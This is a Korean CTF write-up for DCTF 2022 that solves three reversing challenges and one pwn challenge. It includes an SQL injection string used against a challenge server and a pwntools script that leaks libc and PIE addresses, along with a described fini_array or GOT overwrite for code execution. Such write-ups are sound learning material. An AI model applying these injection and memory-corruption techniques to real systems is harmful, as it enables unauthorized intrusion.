(CTF) DCTF 2022 writeup
difficulty: 🩸🩸
rank: 11
writeup: rev(3)/pwn(1)
영어로 간지나게 적어서 blog.snwo.fun 에 올리려 했는데,
그냥 귀찮아서 롸업 몇개 적어본다
Glade 는 idapython 말고 Qiling 이라는 analyze framework 로도 풀 수 있는데 신기하니까 나중에 공부해봐야징
Eulers License ( 🩸 200 pt, 41 solve )
TL;DR : simple sqli, guessing prime
파워쉘 스크립트 하나 주어지는데,
열어보면 윗부분은 쉘 스크립트고, 아랫쪽은 파워쉘 스크립트로 나눠져 있다.
shell script : data 를 base64 디코딩 한 후, /tmp/(random filename) 에 파이썬파일을 만든다.
powershell script : data 를 base64 디코딩 한 후, $env:TEMP\(random filename) 에 exe 파일을 만든다.
python file
@app.route("/license_check")
def licenseCheck():
con = sqlite3.connect("file:ctf.db?mode=ro")
cur = con.cursor()
try:
lice = request.args.get("license_key")
query = "SELECT * FROM license_keys WHERE license_key = '" + lice + "';"
cur.execute(query)
res = cur.fetchall()
cur.close()
con.close()
except Exception as e:
cur.close()
con.close()
return str(e), 500
return str(res)
문제 서버가 있는데, /license_check 에 접속해서 ' or 1=1 --
입력하면 플래그 뒷자리를 준다.
_python_is_easy_to_reverse}
binary file
BOOL __cdecl sub_401080(char *Str)
{
size_t v2; // eax
char v3[4]; // [esp+0h] [ebp-8h] BYREF
int i; // [esp+4h] [ebp-4h]
if ( strlen(Str) != 10 )
return 0;
sub_401400(Str, Format, (char)v3);
for ( i = 2; i < *(int *)v3; ++i )
{
if ( !(*(_DWORD *)v3 % i) )
return 0;
}
v2 = strlen(::Str);
return !strncmp(Str, Str2, v2) && sub_401000(Str, a47);
}
exe 파일을 실행하면, 문자열을 입력받는데,
10자리로 잘라서 정수화 한 뒤, 위 함수의 리턴값이 True 이면, 특정 데이터와 xor 해서 출력해준다.
조건 : 21 으로 시작해서, 47 로 끝나는 10자리 소수
코드를 돌려보니까 경우의 수가 너무많다..
근데 뭔가 익숙한 숫자라서 int 최대값 을 입력해 봤더니 flag가 맞았다.
❯ ./binary
Enter eulers license key: 2147483647
dctf{2147483647
Failed to contact euler.dragonsec.si for license confirmation...
flag : dctf{2147483647_python_is_easy_to_reverse}
ShittyTPM ( 🩸 300 pt, 11 solve )
TL;DR : Verilog lang
binary
std::cout << "Enter Password: " << std::endl;
std::string line;
std::getline(std::cin, line);
if(line.length() < 8)
{
std::cout << "Input too short" << std::endl;
return 0;
}
// This is just pseudocode, for security
// Kerckhoffs law is stupid anyway
tpm = new EasyTPM;
tpm->reset();
for(int i = 0; i < 8; i++)
{
tpm->sendChar(line[i]); // This sends one character to the TPM
}
if(tpm->lock == 1)
{
std::cout << "Good job, you got it!" << std::endl;
std::cout << "DUMMY_FLAG" << std::endl;
}
else
{
std::cout << "The vault is closed, try harder next time" << std::endl;
}
서버에서 돌아가는 바이너리 소스코드이다.
8글자 입력해서 sendChar
으로 입력값을 보낸 뒤, lock
변수가 1이면 플래그를 출력해준다.
이 EasyTPM 이란게 뭔지 모르 잘 모르겠지만, verilog 언어로 만들어진 바이너리 같다.
tpm.v 에 입력값 체크하는 루틴이 있다.
tpm.v
`timescale 1ns / 1ps
module TPM(clk, rst, data, lock);
input clk;
input rst;
input [7:0] data;
output lock;
reg [55:0] state;
initial state = 56'd0;
integer counter;
initial counter = 0;
assign lock = out == desired_value;
wire [55:0] key = 56'hdc35849333c6a8;
wire [55:0] out = rearranged ^ key;
wire [55:0] desired_value = 56'h781494ac201977;
always @(posedge clk) begin
if (rst == 1'b1) begin
state <= 56'b0;
counter <= 0;
end
else begin
if(counter < 8) begin
state[(7 * counter)+: 7] <= data[6:0];
counter <= counter + 1;
end
end
end
wire [55:0] rearranged;
assign rearranged = {
state[21:13],
state[40:32],
state[52:50],
state[25:22],
state[42:41],
state[55:53],
state[4:0],
state[31:26],
state[49:43],
state[12:5]
};
endmodule
이런 소스이다. 입력값은 7비트씩 state 에 들어가고,
rearranged state ^ key == desired_value
위 조건을 만족해야한다.
그렇가면, key ^ desired_value
를 재배치 하기만 하면 된다.
verilog 문서를 읽어본 후, google ctf 에서 관련 롸업을 읽어봤다.
비트 순서만 잘 알면 쉽게 재배치해서 올바른 입력값을 찾을 수 있다.
else begin
if(counter < 8) begin
state[(7 * counter)+: 7] <= data[6:0];
counter <= counter + 1;
end
end
end
state[(7 * counter)+: 7] <= data[6:0]
일단 이 부분에서, state[0:7], state[7:14] 이런식으로 state 의 인덱스가 참조되고, data[6:0] 가 들어가는데, 참조 순서가 달라 비트가 거꾸로 들어간다. 이점 유의
data[6:0] → 파이썬에서 data[0:7] 으로 이해하면 되겠다.
assign rearranged = {
state[21:13],
state[40:32],
state[52:50],
state[25:22],
state[42:41],
state[55:53],
state[4:0],
state[31:26],
state[49:43],
state[12:5]
};
xor 된 값을, 2진수로 바꾼 뒤 8, 9, 3, 4 .. 이렇게 자른 다음 원래 자리로 넣는다.
그리고 올바르게 정렬한 배열을 역순으로 돌리고,
7비트씩 잘라서 문자화 한 뒤 다시 돌리면 올바른 비밀번호가 나온다.
solve.py
key=0xdc35849333c6a8
out=0x781494ac201977
flag=key^out
d=format(flag,'b')
ar=[
d[:9],
d[9:18],
d[18:21],
d[21:25],
d[25:27],
d[27:30],
d[30:35],
d[35:41],
d[41:48],
d[48:56]
]
rev=[2,5,8,3,6,9,0,4,7,1]
table={}
for i,j in enumerate(rev):
table[i]=j
rev_ar=[0]*10
for k in table:
rev_ar[table[k]]=ar[k]
rev_ar=rev_ar[::-1]
b=format(int(''.join(rev_ar),2),'056b')
f=''
for i in range(0,len(b),7):
f+=chr(int(b[i:i+7],2))
print(f[::-1])
Glade ( 🩸🩸 400 pt, 11 solve )
TL;DR : IDA Python, backtracking
https://blog.ugonfor.kr/148?category=833395
midnightsun CTF 2021 의 labyrevnt 문제랑 비슷했다.
main 에서 최대 100짜리 문자열을 입력받고, 첫 번째 함수를 호출한다.
__int64 __fastcall sub_113F(__int64 func, char *input, __int64 something)
{
char v5; // [rsp+2Bh] [rbp-15h]
int v6; // [rsp+2Ch] [rbp-14h]
int v7; // [rsp+30h] [rbp-10h]
sub_112A(sub_113F, func, something, 30LL);
v5 = *input;
v6 = 0;
v7 = 0;
if ( *input == 'U' )
{
v6 = -1;
}
else
{
switch ( v5 )
{
case 'R':
v7 = 1;
break;
case 'D':
v6 = 1;
break;
case 'L':
v7 = -1;
break;
}
}
return ((sub_113F + 30 * something * v6 + something * v7))(sub_113F, input + 1, something);
}
이렇게 생긴 함수가 0x113f 부터 0x314F7 까지 있는데,
여기서 처음으로 호출하는 함수가 검증함수로, 이 함수를 호출했을 때
이전 문자를 검증한다
검증함수로 left_right
을 사용한다 했을 때, 이 함수를 L 또는 R 로 호출해야한다는 것을 말한다.
안그러면 exit 함수로 종료
첫 함수에서는 모든게 허용된다. 근데 L 또는 U 입력하면 OOB 가 터집니다.
검증함수는 위와 같다. D 만 되는 것도 있고, D L 만 되는 것.. 이런식으로
문자를 하나씩 가져와 U, D, R, L 마다 호출하는 다음 함수가 다르다.
U -> 현재함수 + 30 * -1 * 220
D -> 현재함수 + 30 * 1 * 220
R -> 현재함수 + 220 * 1
L -> 현재 함수 + 220 - 1
다음 함수를 2차원 배열처럼 접근한다.
이 함수들 사이의 offset 을 계산해 보니, 모두 220 으로 동일했다.
대충 이렇게 2차원 배열안에 함수들이 있다고 생각해보자.
현재 위치에서 동서남북에 해당하는 함수들에 대해 OOB 체크를 한 뒤, 검증함수를 불러온다.
해당 방향 함수의 검증함수를 통과할 수 있을 때, 현재 이동방향을 ff 배열에 넣고
재귀호출한다. (백트레킹 알고리즘 사용)
print("="*0x30)
start=0x113F
end=get_name_ea_simple("cat_flag")
#U D R L
rev={
"U":"D",
"D":"U",
"R":"L",
"L":"R"
}
x={
"U":-1,
"D":1,
"R":0,
"L":0
}
y={
"U":0,
"D":0,
"R":1,
"L":-1
}
ff=[""]*1000
chks={
0x112a:["D","R"],
get_name_ea_simple("down"):["D"],
get_name_ea_simple("left"):["L"],
get_name_ea_simple("right"):["R"],
get_name_ea_simple("up"):["U"],
get_name_ea_simple("down_left"):["D","L"],
get_name_ea_simple("down_up"):["D","U"],
get_name_ea_simple("left_up"):["L","U"],
get_name_ea_simple("down_right"):["D","R"],
get_name_ea_simple("left_right"):["L","R"],
get_name_ea_simple("up_right"):["U","R"],
get_name_ea_simple("no_right"):["U","D","L"],
get_name_ea_simple("no_left"):["U","D","R"],
get_name_ea_simple("no_down"):["U","L","R"],
get_name_ea_simple("no_up"):["D","L","R"],
get_name_ea_simple("fine"):["D","L","R","U"],
}
def get_chk_func(addr):
chk=-1
f=ida_funcs.get_func(addr)
if f==None:
return chk
for ea in Heads(f.start_ea,f.end_ea):
if print_insn_mnem(ea)=="call":
chk=get_operand_value(ea,0)
break
return chk
def OOB(addr):
n_func=ida_funcs.get_func(addr)
try:
if addr - 0x113F >=0 and\
addr-0x113f <=end and\
(addr-0x113f)%220 ==0:
return 1
except:
return 0
return 0
def back(idx,addr,prev):
# if idx==101:
# return
if addr == end:
print(f"yaho {''.join(ff)}")
return
for d in ['U','R','D','L']:
if prev == rev[d]: # 방금 왔던 곳으로 돌아가지 않게
continue
next = addr+30*x[d]*220+y[d]*220
chk=get_chk_func(next)
if OOB(next)!=0 and chk in chks.keys():
#print(f"{idx} : {prev} -> {d} -> {chks[chk]} {hex(next)}")
if d in chks[chk]:
ff[idx]=d
back(idx+1,next,d)
ff[idx]=''
back(0,start,'')
이걸로도 풀리고, 이렇게 풀면 경우의 수가 너무 많을 것 같아서 cat_flag 함수부터 start 함수까지 역으로 경로를 찾는 백트레킹 알고리즘으로 풀었다.
solve.py
print("="*0x30) # 출력 구분
start=0x113F
end=get_name_ea_simple("cat_flag")
#U D R L
rev={
"U":"D",
"D":"U",
"R":"L",
"L":"R"
}
x={
"U":-1,
"D":1,
"R":0,
"L":0
}
y={
"U":0,
"D":0,
"R":1,
"L":-1
}
ff=[""]*101
chks={
0x112a:["D","R"],
get_name_ea_simple("down"):["D"],
get_name_ea_simple("left"):["L"],
get_name_ea_simple("right"):["R"],
get_name_ea_simple("up"):["U"],
get_name_ea_simple("down_left"):["D","L"],
get_name_ea_simple("down_up"):["D","U"],
get_name_ea_simple("left_up"):["L","U"],
get_name_ea_simple("down_right"):["D","R"],
get_name_ea_simple("left_right"):["L","R"],
get_name_ea_simple("up_right"):["U","R"],
get_name_ea_simple("no_right"):["U","D","L"],
get_name_ea_simple("no_left"):["U","D","R"],
get_name_ea_simple("no_down"):["U","L","R"],
get_name_ea_simple("no_up"):["D","L","R"],
get_name_ea_simple("fine"):["D","L","R","U"],
}
def get_chk_func(addr):
chk=-1
f=ida_funcs.get_func(addr)
for ea in Heads(f.start_ea,f.end_ea):
if print_insn_mnem(ea)=="call":
chk=get_operand_value(ea,0)
break
return chk
def OOB(addr):
n_func=ida_funcs.get_func(addr)
if n_func!=None and n_func.start_ea == addr\
and (addr-0x113f)%220==0:
return 1
return 0
def back(idx,addr,prev):
if idx==100:
return
if addr == start:
print(f"yaho {''.join(ff)[::-1]}")
chk=get_chk_func(addr)
flags=chks[chk][:]
#print(f"{idx} : {flags} {prev}")
for f in flags:
if f == prev:
continue
nxt = addr+30*x[rev[f]]*220+y[rev[f]]*220 # 이동가능 방향의 반대로이동
# 이동가능 방향으로 이 현재 함수에 도착하기 때문
if OOB(nxt):
ff[idx]=f
back(idx+1,nxt,rev[f])
ff[idx]=''
back(0,end,'U') # cat flag 함수는 right 만 허용되므로 prev right 제외한 아무거나 넣어줌
end 함수 (cat_flag) 부터 검증함수에 통과하는 방향의 역방향으로 재귀호출해야한다.
(ex : cat_flag 함수는 R 로 들어와야 하므로, L 으로 이동)
vmstation ( 🩸🩸🩸 500pt, 5 solve)
TL;DR : vm, ubuntu 22.04 libc gadget (fini_array)
got 에 있는 주소 아무거나 배열에 땡겨와서 sha256 하위 4바이트, 상위 2바이트
모듈러로 나눠서 브포. MSB 가 1이면, 모듈러 연산 할 때 상위비트가 1로 채워져서
sprintf 할 때 %d 를 쓰기 때문에 음수가 나온다.
그래서 음수범위부터 2바이트 브루트포스해서 0xffff 랑 and 연산 해주면 된다.
그 밑에 pie 도 있는데 마찬가지로 구하면 된다.
AAW 한 번의 기회가 있지만, ubuntu 22.04 여서 hook 이 막혀서 다른 가젯을 이용해야한다.
전역배열에 원샷 가젯을 적고, libc 의 fini_array 에 전역배열의 주소를 넣으면 된다.
fini_array 는 주어진 도커를 돌린다음, process 에 attach 해서 오프셋을 구하면 정확히 구할 수 있다.
또는 puts 함수에서 libc 내에 strlen@plt 를 호출하는데, strlen@got 이 libc 안의 rw 영역에 있으므로,
이거 덮어도 된다.
from pwn import *
from hashlib import sha256
context.log_level = "debug"
slog=lambda x,y:log.info(":".join([x,hex(y)]))
def crack(h,prev,b,c):
for j in range(-0xffff,0xffff+1):
txt=f"{prev|(j<<c)},{b},"+'0,'*14
# print(txt.encode())
if sha256(txt.encode()).hexdigest().encode()==h:
if j>0:
return j
else:
return j&0xffff
payload = \
b'\x0b\x00\x00\xee'+\
b'\x03\x01'+\
b'\x0f\x00\x00\x01'+\
b'\x06'+\
b'\x03\x00'+\
b'\x0b\x00\x00\xee'+\
b'\x06'+\
b'\x03\x00'+\
b'\x0b\x00\x00\xed'+\
b'\x06'+\
b'\x03\x00\x03\x01'+\
b'\x0b\x00\x00\xf2'+\
b'\x03\x01'+\
b'\x0f\x00\x00\x01'+\
b'\x06'+\
b'\x03\x00'+\
b'\x0b\x00\x00\xf2'+\
b'\x06'+\
b'\x03\x00'+\
b'\x0b\x00\x00\xf3'+\
b'\x06'
f = open("./test","wb")
f.write(payload)
f.close()
r = process(['./vmstation','./test'])
def leak():
cracked=0
r.sendline(str(2**16).encode())
h=r.recvline().strip()
cracked=crack(h,cracked,2**16,0)
r.sendline(str(0).encode())
h=r.recvline().strip()
cracked|=crack(h,cracked,2**16,16)<<16
r.sendline(str(0).encode())
cracked2=0
h=r.recvline().strip()
cracked2=crack(h,cracked2,2**16,0)
return cracked|(cracked2<<32)
libc=leak()
r.sendline(str(0).encode())
r.sendline(str(0).encode())
pie=leak()
slog('libc',libc)
slog('pie',pie)
log.info(str(r.pid))
pause()
r.interactive()
leak 하는 페이로드만 작성하고, 익스는 다른팀원이 작성해서 소스가 업당